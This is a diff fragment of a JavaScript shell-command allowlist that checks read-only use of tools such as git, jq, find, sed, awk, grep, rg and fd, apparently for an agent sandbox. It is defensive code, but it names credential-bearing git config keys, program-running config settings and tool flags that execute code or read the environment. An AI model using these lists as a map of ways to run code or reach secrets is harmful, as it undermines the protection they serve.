+ var TEST_FILE_BINARY = /* @__PURE__ */ new Set(["-nt", "-ot", "-ef"]);
2796
+ var TEST_OTHER = /* @__PURE__ */ new Set(["-z", "-n", "-t", "-eq", "-ne", "-lt", "-le", "-gt", "-ge", "-a", "-o"]);
2797
+ var testRule = (args, env, name) => {
2798
+ staticOnly(args, name);
2799
+ let ops = args.map((a) => a.lit);
2800
+ if (name === "[") {
2801
+ if (ops.at(-1) !== "]") no("[: a closing ]");
2802
+ ops = ops.slice(0, -1);
2803
+ }
2804
+ for (let i = 0; i < ops.length; i++) {
2805
+ const s = ops[i];
2806
+ const unaryA = s === "-a" && (i === 0 || ["!", "(", "-a", "-o"].includes(ops[i - 1]));
2807
+ if (TEST_FILE_UNARY.has(s) || unaryA) {
2808
+ if (ops[i + 1] !== void 0) checkPath(ops[++i], env);
2809
+ } else if (TEST_FILE_BINARY.has(s)) {
2810
+ if (ops[i - 1] !== void 0) checkPath(ops[i - 1], env);
2811
+ if (ops[i + 1] !== void 0) checkPath(ops[++i], env);
2812
+ } else if (/^-./.test(s) && !TEST_OTHER.has(s)) no(`${name}: flag ${s}`);
2813
+ }
2814
+ };
2815
+ var sortRule = (args, env, name) => {
2816
+ staticOnly(args, name);
2817
+ flags(args, name, { short: "bdfghiMnrRsuVzc", shortValue: "kt", long: ["--reverse", "--numeric-sort", "--unique", "--human-numeric-sort", "--version-sort", "--ignore-case", "--stable", "--general-numeric-sort", "--month-sort", "--dictionary-order", "--ignore-leading-blanks", "--check", "--zero-terminated"], longValue: ["--key", "--field-separator"] });
2818
+ pathArgs(args, env, name);
2819
+ };
2820
+ var uniqRule = (args, env, name) => {
2821
+ staticOnly(args, name);
2822
+ const ops = flags(args, name, { short: "cdDuiz", shortValue: "fsw", long: ["--count", "--repeated", "--unique", "--ignore-case"], longValue: ["--skip-fields", "--skip-chars", "--check-chars"] });
2823
+ if (ops.length > 1) no("uniq: a second operand is an output file");
2824
+ pathArgs(args, env, name);
2825
+ };
2826
+ var fileRule = (args, env, name) => {
2827
+ staticOnly(args, name);
2828
+ attachedFiles(args, "m", env);
2829
+ flags(args, name, { short: "bihLNkzZ0p", shortValue: "mFe", long: ["--brief", "--mime", "--mime-type", "--mime-encoding", "--dereference", "--no-dereference", "--keep-going"] });
2830
+ pathArgs(args, env, name);
2831
+ };
2832
+ var dateRule = (args, _env, name) => {
2833
+ staticOnly(args, name);
2834
+ const ops = flags(args, name, { short: "uRjI", shortValue: "v", long: ["--utc", "--universal", "--rfc-email", "--iso-8601", "--rfc-3339"] });
2835
+ if (ops.some((a) => !a.lit.startsWith("+"))) no("date: an operand sets the clock");
2836
+ };
2837
+ var jqRule = (args, env, name) => {
2838
+ staticOnly(args, name);
2839
+ let filter = null;
2840
+ const rest = [];
2841
+ for (let i = 0; i < args.length; i++) {
2842
+ const a = args[i];
2843
+ const s = a.lit;
2844
+ if (isFlag(a)) {
2845
+ if (["-f", "--from-file", "-L"].includes(s) || /^-L|^--from-file=/.test(s)) no(`jq: ${s}`);
2846
+ if (s === "--arg" || s === "--argjson") {
2847
+ i += 2;
2848
+ continue;
2849
+ }
2850
+ if (s === "--rawfile" || s === "--slurpfile") {
2851
+ const f = args[i + 2];
2852
+ if (f) rest.push(f);
2853
+ i += 2;
2854
+ continue;
2855
+ }
2856
+ if (s === "--indent") {
2857
+ i++;
2858
+ continue;
2859
+ }
2860
+ if (!/^(-[rcnsejSaCMR]+|--(raw-output|compact-output|null-input|slurp|exit-status|join-output|sort-keys|ascii-output|color-output|monochrome-output|raw-input|tab|seq|stream|raw-output0))$/.test(s)) no(`jq: flag ${s}`);
2861
+ continue;
2862
+ }
2863
+ if (filter === null) filter = a;
2864
+ else rest.push(a);
2865
+ }
2866
+ if (filter && /env|ENV|import|include|input_filename|\$__loc__/.test(filter.lit)) no("jq: env or module access in the filter");
2867
+ pathArgs(rest, env, name);
2868
+ };
2869
+ var FIND_PRED = /* @__PURE__ */ new Set(["-name", "-iname", "-path", "-ipath", "-wholename", "-iwholename", "-regex", "-iregex", "-type", "-xtype", "-maxdepth", "-mindepth", "-newer", "-mtime", "-mmin", "-atime", "-amin", "-ctime", "-cmin", "-size", "-perm", "-user", "-group", "-links", "-uid", "-gid", "-inum", "-samefile", "-lname", "-ilname"]);
2870
+ var FIND_FLAG = /* @__PURE__ */ new Set(["-print", "-print0", "-prune", "-o", "-or", "-a", "-and", "-not", "!", "(", ")", ",", "-empty", "-depth", "-d", "-xdev", "-mount", "-true", "-false", "-ls", "-readable", "-writable", "-executable", "-nouser", "-nogroup", "-quit", "-printf", "-H", "-P", "-E", "-X", "-s", "-x", "-noleaf", "-regextype"]);
2871
+ var findRule = (args, env, name) => {
2872
+ staticOnly(args, name);
2873
+ let i = 0;
2874
+ while (i < args.length && ["-H", "-P", "-E", "-X", "-s", "-x", "-d"].includes(args[i].lit)) i++;
2875
+ const roots = [];
2876
+ while (i < args.length && !args[i].lit.startsWith("-") && !["!", "(", ")"].includes(args[i].lit)) roots.push(args[i++]);
2877
+ for (; i < args.length; i++) {
2878
+ const s = args[i].lit;
2879
+ if (FIND_PRED.has(s) || s === "-printf" || s === "-regextype") {
2880
+ i++;
2881
+ if (s === "-newer" || s === "-samefile") roots.push(args[i] ?? no("find: a value"));
2882
+ continue;
2883
+ }
2884
+ if (FIND_FLAG.has(s)) continue;
2885
+ no(`find: ${s}`);
2886
+ }
2887
+ if (roots.length === 0) checkPath(".", env);
2888
+ pathArgs(roots, env, name);
2889
+ };
2890
+ var AWK_ITEM = String.raw`(?:\$(?:\d+|NF)|NF|NR|"[^"\\]*")`;
2891
+ var AWK_PROG = new RegExp(String.raw`^\s*(?:(?:NR|NF|\$\d+)\s*(?:==|!=|<=|>=|<|>)\s*(?:\d+|"[^"\\]*")\s*|\/[^/\\\n]*\/\s*|END\s*)?\{\s*print(?:\s+${AWK_ITEM}(?:\s*,?\s*${AWK_ITEM})*)?\s*;?\s*\}\s*$`);
2892
+ var awkRule = (args, env, name) => {
2893
+ staticOnly(args, name);
2894
+ let i = 0;
2895
+ for (; i < args.length && isFlag(args[i]); i++) {
2896
+ const s = args[i].lit;
2897
+ if (s === "--") {
2898
+ i++;
2899
+ break;
2900
+ }
2901
+ if (s === "-F") i++;
2902
+ else if (!/^-F./.test(s)) no(`awk: flag ${s}`);
2903
+ }
2904
+ const prog = args[i];
2905
+ if (!prog) no("awk: a program");
2906
+ if (!AWK_PROG.test(prog.lit)) no("awk: only a print program");
2907
+ pathArgs(args.slice(i + 1), env, name);
2908
+ };
2909
+ var SED_SCRIPT = /^\s*(?:(?:\d+|\$)(?:\s*,\s*(?:\d+|\$))?|\/[^/\\\n]*\/)\s*p\s*$/;
2910
+ var sedRule = (args, env, name) => {
2911
+ staticOnly(args, name);
2912
+ let script = false;
2913
+ const ops = [];
2914
+ for (let i = 0; i < args.length; i++) {
2915
+ const s = args[i].lit;
2916
+ if (s === "-e") {
2917
+ const v = args[++i];
2918
+ if (!v || !SED_SCRIPT.test(v.lit)) no("sed: script");
2919
+ script = true;
2920
+ } else if (/^-[nEr]+$/.test(s)) continue;
2921
+ else if (isFlag(args[i])) no(`sed: flag ${s}`);
2922
+ else if (!script) {
2923
+ if (!SED_SCRIPT.test(s)) no("sed: script");
2924
+ script = true;
2925
+ } else ops.push(args[i]);
2926
+ }
2927
+ if (!script) no("sed: script");
2928
+ pathArgs(ops, env, name);
2929
+ };
2930
+ var GIT_READ = /* @__PURE__ */ new Set(["status", "log", "diff", "show", "blame", "rev-parse", "ls-files", "describe"]);
2931
+ var GIT_READ_MORE = /* @__PURE__ */ new Set(["show-ref", "ls-tree", "rev-list", "shortlog", "merge-base", "for-each-ref"]);
2932
+ var GIT_BAD_LONG = ["output", "output-directory", "ext-diff", "textconv", "open-files-in-pager", "exec", "exec-path", "upload-pack", "receive-pack", "paginate", "git-dir", "work-tree", "config-env", "namespace", "filters"];
2933
+ function gitOptBad(s) {
2934
+ if (s.startsWith("--")) {
2935
+ const name = s.slice(2).split("=")[0];
2936
+ if (!name) return false;
2937
+ return GIT_BAD_LONG.some((bad) => bad.startsWith(name));
2938
+ }
2939
+ return /^-[^-]/.test(s) && s.slice(1).includes("O");
2940
+ }
2941
+ var GIT_BAD = { test: gitOptBad };
2942
+ var GIT_SECRET_KEY = /^(remote|credential|http|https|url|sendemail)\.|url|token|password|passwd|secret|auth|header|cookie|proxy|key/i;
2943
+ var gitRule = (args, env, name) => {
2944
+ staticOnly(args, name);
2945
+ needCwd(env, name);
2946
+ if (!rootForms(env).some((r) => env.fold(r) === env.fold(env.cwd))) no("git: only with the cwd at a session root");
2947
+ if (env.native) {
2948
+ const bad = repoGitExecKey(env.cwd, env.ctx.home);
2949
+ if (bad !== null) no(`git: the repo config names a program (${bad})`);
2950
+ }
2951
+ const sub = args[0]?.lit;
2952
+ if (!sub || sub.startsWith("-")) no("git: a global option");
2953
+ const rest = args.slice(1);
2954
+ for (const a of rest) if (GIT_BAD.test(a.lit)) no(`git: ${a.lit.split("=")[0]}`);
2955
+ if (GIT_READ.has(sub)) return pathArgs(rest, env, name);
2956
+ if (sub === "branch") {
2957
+ const names = rest.filter((a) => !isFlag(a));
2958
+ for (const a of rest) {
2959
+ const s = a.lit;
2960
+ if (isFlag(a) && !/^(-[avr]+|-vv|--list|--all|--remotes|--verbose|--show-current|--merged|--no-merged|--contains|--no-contains|--sort=.*|--format=.*|--color|--no-color|--column|--no-column)$/.test(s)) no(`git branch: ${s}`);
2961
+ }
2962
+ if (names.length && !rest.some((a) => a.lit === "--list")) no("git branch: a name (only with --list)");
2963
+ return;
2964
+ }
2965
+ if (GIT_READ_MORE.has(sub)) return pathArgs(rest, env, name);
2966
+ const flagsOnly = (re, what) => {
2967
+ for (const a of rest.slice(1)) if (!re.test(a.lit)) no(`git ${what}: ${a.lit}`);
2968
+ };
2969
+ if (sub === "worktree") {
2970
+ if (rest[0]?.lit !== "list") no("git worktree: only list");
2971
+ return flagsOnly(/^(--porcelain|-v|--verbose|-z)$/, "worktree list");
2972
+ }
2973
+ if (sub === "stash") {
2974
+ if (rest[0]?.lit !== "list") no("git stash: only list");
2975
+ return flagsOnly(/^-/, "stash list");
2976
+ }
2977
+ if (sub === "reflog") {
2978
+ if (rest[0]?.lit !== "show") no("git reflog: only show");
2979
+ return pathArgs(rest.slice(1), env, name);
2980
+ }
2981
+ if (sub === "cat-file") {
2982
+ if (rest.length === 2 && ["-t", "-s", "-p"].includes(rest[0].lit) && !rest[1].lit.startsWith("-")) return pathArgs(rest.slice(1), env, name);
2983
+ no("git cat-file: only -t, -s or -p OBJECT");
2984
+ }
2985
+ if (sub === "tag") {
2986
+ if (!rest.some((a) => a.lit === "-l" || a.lit === "--list")) no("git tag: only -l/--list");
2987
+ for (const a of rest) {
2988
+ if (isFlag(a) && !/^(-l|-i|-n\d*|--list|--ignore-case|--sort=.*|--format=.*|--contains|--no-contains|--merged|--no-merged|--points-at|--column|--no-column|--color|--color=.*|--no-color)$/.test(a.lit)) no(`git tag: ${a.lit}`);
2989
+ }
2990
+ return pathArgs(rest, env, name);
2991
+ }
2992
+ if (sub === "remote") {
2993
+ if (rest.length === 0) return;
2994
+ const verbose = rest.length === 1 && (rest[0].lit === "-v" || rest[0].lit === "--verbose");
2995
+ const getUrl = rest.length === 2 && rest[0].lit === "get-url" && /^[A-Za-z0-9._-]+$/.test(rest[1].lit) && !rest[1].lit.startsWith("-");
2996
+ if (!(verbose || getUrl) || env.ctx.cwd === void 0 || env.pp !== path.posix) no("git remote: only bare, or -v / get-url NAME in an anchored run");
2997
+ if (!env.native) no("git remote: a foreign path flavour");
2998
+ const risk = gitRemoteUrlRisk(env.cwd, env.ctx.home);
2999
+ if (risk !== null) no(`git remote: a URL may hold a credential (${risk})`);
3000
+ return;
3001
+ }
3002
+ if (sub === "config") {
3003
+ if (rest.length === 2 && ["--get", "--get-all"].includes(rest[0].lit) && !rest[1].lit.startsWith("-") && !GIT_SECRET_KEY.test(rest[1].lit)) return;
3004
+ no("git config: only --get/--get-all KEY, never a key that may hold a credential");
3005
+ }
3006
+ no(`git: subcommand ${sub}`);
3007
+ };
3008
+ function execKey(section, sub, key, value) {
3009
+ switch (section) {
3010
+ case "core":
3011
+ if (key === "fsmonitor") return !/^(false|no|off|0|)$/i.test(value.trim());
3012
+ return ["pager", "sshcommand", "hookspath", "alternaterefscommand", "askpass", "gitproxy"].includes(key);
3013
+ case "diff":
3014
+ return sub === null ? key === "external" : key === "textconv" || key === "command";
3015
+ case "filter":
3016
+ case "pager":
3017
+ return true;
3018
+ case "remote":
3019
+ return key === "uploadpack" || key === "receivepack";
3020
+ case "gpg":
3021
+ return key === "program";
3022
+ case "uploadpack":
3023
+ return key === "packobjectshook";
3024
+ case "credential":
3025
+ return key === "helper";
3026
+ default:
3027
+ return false;
3028
+ }
3029
+ }
3030
+ function configValue(v) {
3031
+ let out = "";
3032
+ let q = false;
3033
+ for (let i = 0; i < v.length; i++) {
3034
+ const c = v[i];
3035
+ if (c === '"') q = !q;
3036
+ else if (c === "\\" && i + 1 < v.length) out += v[++i];
3037
+ else if (!q && (c === "#" || c === ";")) break;
3038
+ else out += c;
3039
+ }
3040
+ return out.trim();
3041
+ }
3042
+ function scanGitConfig(file, home, depth, seen, hit = execKey) {
3043
+ if (depth > 10) return "include depth";
3044
+ let text;
3045
+ try {
3046
+ text = fs.readFileSync(file, "utf8");
3047
+ } catch (e) {
3048
+ const code = e.code;
3049
+ return code === "ENOENT" || code === "ENOTDIR" ? null : `unreadable ${path.basename(file)}`;
3050
+ }
3051
+ const real = realOr(file) ?? file;
3052
+ if (seen.has(real)) return null;
3053
+ seen.add(real);
3054
+ const lines = text.replace(/\\\r?\n/g, "").split(/\r?\n/);
3055
+ let section = "";
3056
+ let sub = null;
3057
+ for (let raw of lines) {
3058
+ let l = raw.trim();
3059
+ if (l === "" || l.startsWith("#") || l.startsWith(";")) continue;
3060
+ if (l.startsWith("[")) {
3061
+ const m = /^\[\s*([A-Za-z0-9.-]+)(?:\s+"((?:[^"\\]|\\.)*)")?\s*\]/.exec(l);
3062
+ if (!m) return "unparsed config section";
3063
+ const name = m[1].toLowerCase();
3064
+ const dot = name.indexOf(".");
3065
+ section = dot < 0 ? name : name.slice(0, dot);
3066
+ sub = m[2] !== void 0 ? m[2] : dot < 0 ? null : name.slice(dot + 1);
3067
+ raw = l.slice(m[0].length);
3068
+ l = raw.trim();
3069
+ if (l === "" || l.startsWith("#") || l.startsWith(";")) continue;
3070
+ }
3071
+ const k = /^([A-Za-z][A-Za-z0-9-]*)\s*(?:=(.*))?$/.exec(l);
3072
+ if (!k) return "unparsed config line";
3073
+ const key = k[1].toLowerCase();
3074
+ const value = configValue(k[2] ?? "");
3075
+ if (hit(section, sub, key, value)) return `${section}${sub !== null ? `.${sub}` : ""}.${key}`;
3076
+ if ((section === "include" || section === "includeif") && key === "path" && value !== "") {
3077
+ const inc = value.startsWith("~/") ? path.join(home, value.slice(2)) : path.isAbsolute(value) ? value : path.join(path.dirname(file), value);
3078
+ const r = scanGitConfig(inc, home, depth + 1, seen, hit);
3079
+ if (r !== null) return r;
3080
+ }
3081
+ }
3082
+ return null;
3083
+ }
3084
+ function repoGitExecKey(cwd, home, hit = execKey) {
3085
+ let dir = cwd;
3086
+ for (let i = 0; i < 4096; i++) {
3087
+ const dotgit = path.join(dir, ".git");
3088
+ let st = null;
3089
+ try {
3090
+ st = fs.statSync(dotgit);
3091
+ } catch {
3092
+ st = null;
3093
+ }
3094
+ if (st) {
3095
+ let gitdir = dotgit;
3096
+ if (st.isFile()) {
3097
+ const m = /^gitdir:\s*(.+?)\s*$/m.exec(fs.readFileSync(dotgit, "utf8"));
3098
+ if (!m) return "unparsed .git file";
3099
+ gitdir = path.resolve(dir, m[1]);
3100
+ }
3101
+ const files = [path.join(gitdir, "config"), path.join(gitdir, "config.worktree")];
3102
+ try {
3103
+ const common = fs.readFileSync(path.join(gitdir, "commondir"), "utf8").trim();
3104
+ if (common) files.push(path.join(path.resolve(gitdir, common), "config"));
3105
+ } catch {
3106
+ }
3107
+ const seen = /* @__PURE__ */ new Set();
3108
+ for (const f of files) {
3109
+ const r = scanGitConfig(f, home, 0, seen, hit);
3110
+ if (r !== null) return r;
3111
+ }
3112
+ return null;
3113
+ }
3114
+ const parent = path.dirname(dir);
3115
+ if (parent === dir) return null;
3116
+ dir = parent;
3117
+ }
3118
+ return null;
3119
+ }
3120
+ var credUrlHit = (_section, _sub, key, value) => key === "insteadof" || key === "pushinsteadof" || /:\/\/[^/\s]*@/.test(value);
3121
+ function gitRemoteUrlRisk(cwd, home, env = process.env) {
3122
+ const r = repoGitExecKey(cwd, home, credUrlHit);
3123
+ if (r !== null) return r;
3124
+ const xdg = env.XDG_CONFIG_HOME ? env.XDG_CONFIG_HOME : path.join(home, ".config");
3125
+ const files = [
3126
+ ...env.GIT_CONFIG_GLOBAL ? [env.GIT_CONFIG_GLOBAL] : [],
3127
+ path.join(home, ".gitconfig"),
3128
+ path.join(xdg, "git", "config"),
3129
+ path.join(home, ".config", "git", "config"),
3130
+ ...env.GIT_CONFIG_SYSTEM ? [env.GIT_CONFIG_SYSTEM] : [],
3131
+ "/etc/gitconfig",
3132
+ "/opt/homebrew/etc/gitconfig",
3133
+ "/usr/local/etc/gitconfig"
3134
+ ];
3135
+ const seen = /* @__PURE__ */ new Set();
3136
+ for (const f of files) {
3137
+ const hit = scanGitConfig(f, home, 0, seen, credUrlHit);
3138
+ if (hit !== null) return hit;
3139
+ }
3140
+ return null;
3141
+ }
3142
+ var diffReader = reader("r", ["--recursive"], false, "X");
3143
+ var diffRule = (args, env, name) => {
3144
+ diffReader(args, env, name);
3145
+ for (const a of args) {
3146
+ if (a.proc || a.lit === null || isFlag(a) || !env.native) continue;
3147
+ const t = env.pp.isAbsolute(a.lit) ? a.lit : env.pp.join(env.cwd ?? "", a.lit);
3148
+ let dir = false;
3149
+ try {
3150
+ dir = fs.statSync(t).isDirectory();
3151
+ } catch {
3152
+ }
3153
+ if (dir) no("diff: a directory operand");
3154
+ }
3155
+ };
3156
+ function anchoredOnly(env, what) {
3157
+ if (env.ctx.cwd === void 0 || env.pp !== path.posix) no(`${what}: only in an anchored run`);
3158
+ }
3159
+ function walksCwd(env, name) {
3160
+ needCwd(env, name);
3161
+ checkPath(".", env);
3162
+ }
3163
+ var GREP_DENY_SHORT = "RSOdD";
3164
+ var GREP_DENY_LONG = ["--dereference-recursive", "--directories", "--devices"];
3165
+ function grepRecursive(a) {
3166
+ if (!isFlag(a) || a.lit === "--") return false;
3167
+ const s = a.lit;
3168
+ if (s.startsWith("--")) {
3169
+ const k = s.split("=")[0];
3170
+ return k.length > 2 && "--recursive".startsWith(k);
3171
+ }
3172
+ return s.slice(1).includes("r");
3173
+ }
3174
+ function grepRule() {
3175
+ const base = reader(GREP_DENY_SHORT, GREP_DENY_LONG, false, "f");
3176
+ return (args, env, name) => {
3177
+ base(args, env, name);
3178
+ if (args.some(grepRecursive)) {
3179
+ anchoredOnly(env, `${name} -r`);
3180
+ walksCwd(env, name);
3181
+ }
3182
+ };
3183
+ }
3184
+ var rgReader = reader("Lz", ["--follow", "--pre", "--pre-glob", "--search-zip", "--hostname-bin"], false, "f");
3185
+ var rgRule = (args, env, name) => {
3186
+ anchoredOnly(env, name);
3187
+ rgReader(args, env, name);
3188
+ walksCwd(env, name);
3189
+ };
3190
+ var fdReader = reader("xXlL", ["--exec", "--exec-batch", "--list-details", "--follow"]);
3191
+ var FD_VALUE_SHORT = "dEetcjSo";
3192
+ var FD_VALUE_LONG = ["--max-depth", "--min-depth", "--exact-depth", "--exclude", "--extension", "--type", "--color", "--threads", "--size", "--changed-within", "--changed-before", "--owner", "--max-results", "--path-separator", "--format", "--batch-size"];
3193
+ var FD_PATH_LONG = ["--base-directory", "--search-path", "--ignore-file"];
3194
+ var fdRule = (args, env, name) => {
3195
+ anchoredOnly(env, name);
3196
+ staticOnly(args, name);
3197
+ const checked = [];
3198
+ let pattern = false;
3199
+ let endOpts = false;
3200
+ for (let i = 0; i < args.length; i++) {
3201
+ const a = args[i];
3202
+ const s = a.lit;
3203
+ if (!endOpts && s === "--") {
3204
+ endOpts = true;
3205
+ continue;
3206
+ }
3207
+ if (!endOpts && isFlag(a)) {
3208
+ checked.push(a);
3209
+ if (s.startsWith("--")) {
3210
+ if (!s.includes("=") && (FD_VALUE_LONG.includes(s) || FD_PATH_LONG.includes(s)) && args[i + 1] !== void 0) {
3211
+ i++;
3212
+ if (FD_PATH_LONG.includes(s)) checked.push(args[i]);
3213
+ }
3214
+ } else {
3215
+ const j = [...s.slice(1)].findIndex((ch) => FD_VALUE_SHORT.includes(ch));
3216
+ if (j === s.length - 2 && args[i + 1] !== void 0) i++;
3217
+ }
3218
+ continue;
3219
+ }
3220
+ if (!pattern) {
3221
+ pattern = true;
3222
+ continue;
3223
+ }
3224
+ checked.push(endOpts && isFlag(a) ? { ...a, lit: `./${s}` } : a);
3225
+ }
3226
+ fdReader(checked, env, name);
3227
+ walksCwd(env, name);
3228
+ };
3229
+ var treeReader = reader("olR", ["--fromfile", "--fromtabfile", "--output"], true);
3230
+ var treeRule = (args, env, name) => {
3231
+ anchoredOnly(env, name);
3232
+ staticOnly(args, name);
3233
+ const checked = [];
3234
+ for (let i = 0; i < args.length; i++) {
3235
+ const a = args[i];
3236
+ checked.push(a);
3237
+ if (!isFlag(a) || a.lit.startsWith("--")) continue;
3238
+ for (const ch of a.lit.slice(1)) {
3239
+ if (!"PILHT".includes(ch) || args[i + 1] === void 0) continue;
3240
+ i++;
3241
+ if (!"PI".includes(ch)) checked.push(args[i]);
3242
+ }
3243
+ }
3244
+ treeReader(checked, env, name);
3245
+ walksCwd(env, name);
3246
+ };
3247
+ var MIN_PARADIGM_VERSION = Object.freeze([7, 15, 2]);
3248
+ var paradigmPkgCache = /* @__PURE__ */ new Map();
3249
+ function versionAtLeast(v, min) {
3250
+ const m = /^(\d+)\.(\d+)\.(\d+)(-[0-9A-Za-z.-]+)?(\+[0-9A-Za-z.-]+)?$/.exec(v);
3251
+ if (!m) return false;
3252
+ const got = [Number(m[1]), Number(m[2]), Number(m[3])];
3253
+ for (let i = 0; i < 3; i++) {
3254
+ if (got[i] > min[i]) return true;
3255
+ if (got[i] < min[i]) return false;
3256
+ }
3257
+ return m[4] === void 0;
3258
+ }
3259
+ function paradigmOnPath(searchPath) {
3260
+ if (searchPath === void 0) return "paradigm: the session PATH is unknown";
3261
+ let bin = null;
3262
+ for (const dir2 of searchPath.split(":")) {
3263
+ if (dir2 === "" || !path.posix.isAbsolute(dir2)) return "paradigm: a relative or empty PATH entry";
3264
+ const cand = path.posix.join(dir2, "paradigm");
3265
+ let st;
3266
+ try {
3267
+ st = fs.statSync(cand);
3268
+ } catch {
3269
+ continue;
3270
+ }
3271
+ if (st.isFile() && (st.mode & 73) !== 0) {
3272
+ bin = cand;
3273
+ break;
3274
+ }
3275
+ }
3276
+ if (bin === null) return "paradigm: not found on the session PATH";
3277
+ const real = realOr(bin);
3278
+ if (real === null) return "paradigm: its binary cannot be resolved";
3279
+ let dir = path.posix.dirname(real);
3280
+ for (let i = 0; i < 4; i++, dir = path.posix.dirname(dir)) {
3281
+ const pkg = path.posix.join(dir, "package.json");
3282
+ let st;
3283
+ try {
3284
+ st = fs.statSync(pkg);
3285
+ } catch {
3286
+ continue;
3287
+ }
3288
+ if (!st.isFile() || st.size > 1e6) return "paradigm: an unreadable package.json";
3289
+ let info = paradigmPkgCache.get(pkg);
3290
+ if (info === void 0 || info.mtimeMs !== st.mtimeMs) {
3291
+ try {
3292
+ const j = JSON.parse(fs.readFileSync(pkg, "utf8"));
3293
+ info = { mtimeMs: st.mtimeMs, name: j.name, version: j.version };
3294
+ } catch {
3295
+ return "paradigm: an unreadable package.json";
3296
+ }
3297
+ paradigmPkgCache.set(pkg, info);
3298
+ }
3299
+ if (info.name !== "@a-company/paradigm") return "paradigm: the binary on PATH is not @a-company/paradigm";
3300
+ if (typeof info.version !== "string" || !versionAtLeast(info.version, MIN_PARADIGM_VERSION)) {
3301
+ return `paradigm: version ${String(info.version)} on PATH predates ${MIN_PARADIGM_VERSION.join(".")} (its read verbs may write)`;
3302
+ }
3303
+ return null;
3304
+ }
3305
+ return "paradigm: no package.json beside the binary on PATH (a shim)";
3306
+ }
3307
+ var LORE_ID = /^L-[A-Za-z0-9_-]{1,160}$/;
3308
+ var TASK_LS_STATUS = /* @__PURE__ */ new Set(["active", "open", "done", "shelved", "all"]);
3309
+ function verbArgs(rest, what, bare, valued = [], value = /^[^-]/) {
3310
+ const ops = [];
3311
+ for (let i = 0; i < rest.length; i++) {
3312
+ const s = rest[i];
3313
+ if (!s.startsWith("-")) ops.push(s);
3314
+ else if (bare.includes(s)) continue;
3315
+ else if (valued.includes(s) && rest[i + 1] !== void 0 && value.test(rest[i + 1])) i++;
3316
+ else no(`${what}: ${s}`);
3317
+ }
3318
+ return ops;
3319
+ }
3320
+ var paradigmRule = (args, env, name) => {
3321
+ anchoredOnly(env, name);
3322
+ staticOnly(args, name);
3323
+ needCwd(env, name);
3324
+ if (!rootForms(env).some((r) => env.fold(r) === env.fold(env.cwd))) no("paradigm: only with the cwd at a session root");
3325
+ if (!env.native) no("paradigm: a foreign path flavour");
3326
+ const old = paradigmOnPath(env.ctx.searchPath);
3327
+ if (old !== null) no(old);
3328
+ const [sub, ...rest] = args.map((a) => a.lit);
3329
+ if ((sub === "status" || sub === "st") && rest.length === 0) return;
3330
+ if (sub === "doctor") {
3331
+ if (verbArgs(rest, "paradigm doctor", ["--context", "--explain"]).length === 0) return;
3332
+ no("paradigm doctor: an operand");
3333
+ }
3334
+ if (sub === "ripple") {
3335
+ const ops = verbArgs(rest, "paradigm ripple", ["--json", "-q", "--quiet"], ["-d", "--depth"], /^\d{1,3}$/);
3336
+ if (ops.length < 1 || ops.length > 2) no("paradigm ripple: SYMBOL [PATH]");
3337
+ if (ops[1] !== void 0) checkPath(ops[1], env);
3338
+ return;
3339
+ }
3340
+ if (sub === "purpose" && rest[0] === "validate") {
3341
+ const ops = verbArgs(rest.slice(1), "paradigm purpose validate", []);
3342
+ if (ops.length > 1) no("paradigm purpose validate: at most one PATH");
3343
+ if (ops[0] !== void 0) checkPath(ops[0], env);
3344
+ return;
3345
+ }
3346
+ if (sub === "task" && rest[0] === "ls") {
3347
+ const ops = verbArgs(rest.slice(1), "paradigm task ls", ["--json", "--mine"], ["-p", "--priority", "-t", "--tag", "-n", "--limit"]);
3348
+ if (ops.length > 1 || ops[0] !== void 0 && !TASK_LS_STATUS.has(ops[0])) no("paradigm task ls: a status of active|open|done|shelved|all");
3349
+ return;
3350
+ }
3351
+ if (sub === "task" && rest[0] === "show") {
3352
+ const ops = verbArgs(rest.slice(1), "paradigm task show", ["--json"]);
3353
+ if (ops.length !== 1) no("paradigm task show: one REF");
3354
+ if (/[/\\]/.test(ops[0])) no("paradigm task show: a path separator in REF");
3355
+ return;
3356
+ }
3357
+ if (sub === "lore" && (rest[0] === "list" || rest[0] === "ls")) {
3358
+ const ops = verbArgs(rest.slice(1), "paradigm lore list", ["--json"], ["--author", "--type", "--symbol", "--tags", "--from", "--to", "-l", "--limit"]);
3359
+ if (ops.length === 0) return;
3360
+ no("paradigm lore list: an operand");
3361
+ }
3362
+ if (sub === "lore" && rest[0] === "show") {
3363
+ const ops = verbArgs(rest.slice(1), "paradigm lore show", ["--json"]);
3364
+ if (ops.length !== 1) no("paradigm lore show: one ID");
3365
+ if (!LORE_ID.test(ops[0])) no("paradigm lore show: an ID of L- and letters, digits, - or _");
3366
+ return;
3367
+ }
3368
+ no(`paradigm: ${sub === void 0 ? "no verb" : `verb ${[sub, ...rest.slice(0, 1)].join(" ")}`} is not a read verb`);
3369
+ };
3370
+ var GNOMON_MOD_NAME = /^[a-z][a-z0-9-]{0,63}$/;
3371
+ var gnomonRule = (args, env, name) => {
3372
+ anchoredOnly(env, name);
3373
+ staticOnly(args, name);
3374
+ const [sub, ...rest] = args.map((a) => a.lit);
3375
+ const is = (...want) => rest.length === want.length && want.every((w, i) => rest[i] === w);
3376
+ if (sub === "desk" && (is("stats") || is("stats", "--json"))) return;
3377
+ if (sub === "daemon" && is("status")) return;
3378
+ if (sub === "mod" && (is("list") || is("status") || rest.length === 2 && rest[0] === "status" && GNOMON_MOD_NAME.test(rest[1]))) return;
3379
+ if (sub === "rules" && (is("list") || is("list", "--json"))) return;
3380
+ if (sub === "trace" && is("status")) return;
3381
+ if (sub === "replay") {
3382
+ if (verbArgs(rest, "gnomon replay", ["--json"], ["--expect"], /^sha256:[0-9a-f]{64}$/).length === 0) return;
3383
+ no("gnomon replay: a home operand");
3384
+ }
3385
+ no(`gnomon: ${sub === void 0 ? "no verb" : `verb ${[sub, ...rest.slice(0, 1)].join(" ")}`} is not a read verb`);
3386
+ };
3387
+ var COMMANDS = Object.freeze({
3388
+ cat: reader(),
3389
+ head: reader(),
3390
+ tail: reader(),
3391
+ cut: reader(),
3392
+ cmp: reader(),
3393
+ realpath: reader(),
3394
+ df: reader(),
3395
+ wc: reader("", ["--files0-from"]),
3396
+ ls: reader("LR", ["--dereference", "--recursive"], true),
3397
+ grep: grepRule(),
3398
+ egrep: grepRule(),
3399
+ fgrep: grepRule(),
3400
+ rg: rgRule,
3401
+ fd: fdRule,
3402
+ tree: treeRule,
3403
+ paradigm: paradigmRule,
3404
+ gnomon: gnomonRule,
3405
+ stat: reader("L", ["--dereference"]),
3406
+ du: reader("L", ["--dereference", "--files0-from"], true, "X"),
3407
+ diff: diffRule,
3408
+ echo: echoRule,
3409
+ printf: printfRule,
3410
